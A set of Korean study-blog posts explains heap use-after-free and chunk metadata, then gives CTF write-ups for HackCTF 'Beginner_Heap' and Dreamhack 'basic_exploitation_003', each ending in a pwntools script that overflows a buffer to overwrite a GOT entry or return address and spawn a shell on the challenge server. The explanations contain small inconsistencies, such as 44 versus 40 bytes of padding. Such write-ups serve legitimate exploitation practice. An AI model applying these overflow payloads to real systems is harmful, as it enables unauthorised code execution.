728x90
  • Use After Free

 

0. Use After Free 란?

 

: 동적할당을 통해 heap에 메모리를 할당하여 사용한 후 Free를 이용하여 해제를 한 뒤 재사용을 할 경우, 전과 같은 크기의 메모리를 동적할당할 경우, 이전에 사용했던 메모리를 할당해주게 되는 것을 말한다.

 

 

예를 들어 vuln = malloc(20)으로20byte 동적할당 해준 후 이 영역에 문자열에 아무 문자열을 넣고 free 한 뒤에 다시 vuln2 = malloc(20)으로 새 heap을 할당한 뒤 이 영역의 문자열을 출력하게 되면, 이 전에 입력한 문자열이 출력되게 된다. 

 

이러한 현상을 Use After Free 가 발생했다는 것을 알 수 있는데 이 같은 현상이 일어나는 이유는 무엇일까.

 

Malloc 함수에는 병합 지연속성에 의해서 free 된 heap이 realloc 될 때에 같은 사이즈로 요청받을 수 있는데, 이때 heap을 병합하거나 분할하는 시간을 절약하기 위해 free된 heap을 남겨 두었다가 재사용을 때에 free된 영역을 그대로 사용하게 하는 방법으로 메모리가 재사용 되었을 때에 처음 heap을 덮을 수 있다는 취약점을 이용한 것을 볼 수 있다.

 

 

1. Malloc 함수

 

: 동적 메모리 할당 함수

 

vuln = (char*)malloc(20)
vuln2 = (char*)malloc(20)

free(vuln)
free(vuln2)

 

Size (malloc vuln)
data (malloc vuln)
prev_size (sizeof(vuln))
size (malloc vuln2)
data (malloc vuln2)
prev_size (sizeof(vuln2))

: vuln을 malloc(20)로 20바이트 동적 할당하면 위와 같이 vuln의 주소값에 prev_size, size, data 순으로 입력된다.

 

Heap이 생성될 때, data 영역에 fd와 bk 가 생성되는데, heap은 free될때에 fd, bk를 참고하면서 어느 메모리가 free되어있는데 확인 가능한 구조로 되어있다.

 

fd는 데이터 영역의 맨 첫 4바이트, bk는 바로 다음 4바이트에 생성된다. (fd : (forward pointer) free된 다음 chunk를 가리킨다.

bk : (backward pointer) free된 이전 chunk를 가리킨다.)

'자기개발 > 포너블' 카테고리의 다른 글

[포너블] OEP 개념  (0) 2022.02.28
[2022 CTF ] 포너블 - Day 9  (0) 2022.02.08
[2022 CTF] 포너블 - Day 8  (0) 2022.02.08
[포너블] gdb-pead 개념 및 명령어 정리  (0) 2022.02.05
[포너블] gdb 개념 및 명령어  (0) 2022.02.04
728x90
  • Beginner_Heap

 

: 문제에서 주어진 파일을 IDA_64bit로 열게 되면, 아래와 같은 코드를 확인할 수 있다.

 

 

 

먼저 main에서 v3에서는 8바이트, v4에서는 16바이트를 malloc 함수로 동적할당을 받고 있는 것을 확인할 수 있다. 

 

여기서  추가적으로 v3+1에 8바이트, v4+1에 8바이트가 동적 할당을 받고 있다는 것을 확인할 수 있다. 

 

메인 함수를 보면 strcpy 함수가 있어서 heapoverflow를 이용하여 문제를 해결할 것이라 추측할 수 있는데요.

strcpy 함수에 의해 s 변수에 최대 4096바이트(0x1000) 크기의 값을 입력받고 v3+1에 저장한다. 또한 v4+1에서도 같이 적용된다. 

 

여기서 문제는 동적할당 한 크기 보다 입력받는 크기가 더 크다는 점에서 heapoverflow를 일어나는 것을 확인 할 수있다.

 

 

v4+1 (8byte)
v4 (16byte)
v3+1 (8byte)
v3 (8byte)

 

: 위의 함수에 따라서 스택구조는 이와 같이 되어 있을 것이고,  첫 번째 입력시에 버퍼값을 쓰래기 값으로 채워 덮여질 주소 4바이트를 추가한 총 44바이트를 입력한다. 후에 2번째 입력을 받을 때 got 주소를 넣어 flag 값을 구할 수 있다.

 

 

from pwn import*

p = remote("ctf.j0n9hyun.xyz", 3016)
e = ELF("./beginner_heap.bin")

payload1 = "A"*40 + p64 (e.got['exit'])
payload2 = p64(0x400826)

p.sendline(payload1)
p.sendline(payload2)

p.interactive()

 

 

 

 

 

 

https://ctf.j0n9hyun.xyz/challenges#Beginner_Heap

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

 

728x90
  • basic_exploitation_003

 

: 위 문제에서 제공하는 문제 파일을 다운받은 후 아래와 같은 코드를 확인할 수 있다. 

 

 

: 위의 코드 중에서 main 부분을 분석하자면

 

 

char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};

 

: 동적 메모리 할당 함수인 malloc으로 0x80(128바이트 동적 할당 )만큼을 heap_buf에 할당하며, 0x80만큼을 heap_buf에 입력받는다. 

 

: stack_buf 에 0x90(144바이트 배열 할당)만큼 할당된다. 

 

sprintf(stack_buf, heap_buf);
 printf("ECHO : %s\n", stack_buf);

 

: heap_buf 내용을 stack_buf에 sprintf로 출력하며, stack_buf를 출력하고 코드가 종료된다.

 

 

 

→ 위의 코드를 분석하였을 때, sprintf에 fsb가 발생할 수 있다.  하지만, 동시에 snprintf 처럼 사이즈를 정한 것이 아니기 때문에 buffer overflow가 발생할 수 있다.

 

이를 통해, RET 까지 쓰래기 값을 채워 RET 에 get_shell() 함수 주소를 덮어 씌우면 된다.

 

stack_buf(144byte)
SFP(4byte)
RET(4byte)

: 스택 구조를 살펴보면 stack_buf가 ebp로부터 152바이트 떨어져 있다는 것을 알 수 있다. 

 

그러므로 4바이트를 더한 156 바이트 채워 RET 부분에 get_shell() 함수의 주소를 덮어 써준다. 

 

 

아래 pwntools를 이용하여 페이로드를 작성해준다. 

from pwn import*

p = remote("host1.dreamhack.games", 16088)

get_shell = 0x8048669

payload = b"%156c" + p32(get_shell)

p.sendline(payload)

p.interactive()

 

넣어 주게 되면 flag 값을 얻어 문제를 해결할 수 있다.

 

 

https://dreamhack.io/wargame/challenges/5/

 

basic_exploitation_003

Description 이 문제는 서버에서 작동하고 있는 서비스(basicexploitation003)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "fla

dreamhack.io

 

'문제 풀이' 카테고리의 다른 글

[2022 CTF] 리버싱 - Day 13  (0) 2022.02.14
[HackCTF] Beginner_Heap 문제 풀이  (0) 2022.02.10
[Dreamhack] basic_exploitation_001, 002 문제 풀이  (0) 2022.01.29
[2022 CTF] 포너블 - Day2  (0) 2022.01.26
[2022 CTF] 포너블 - Day1  (0) 2022.01.25

+ Recent posts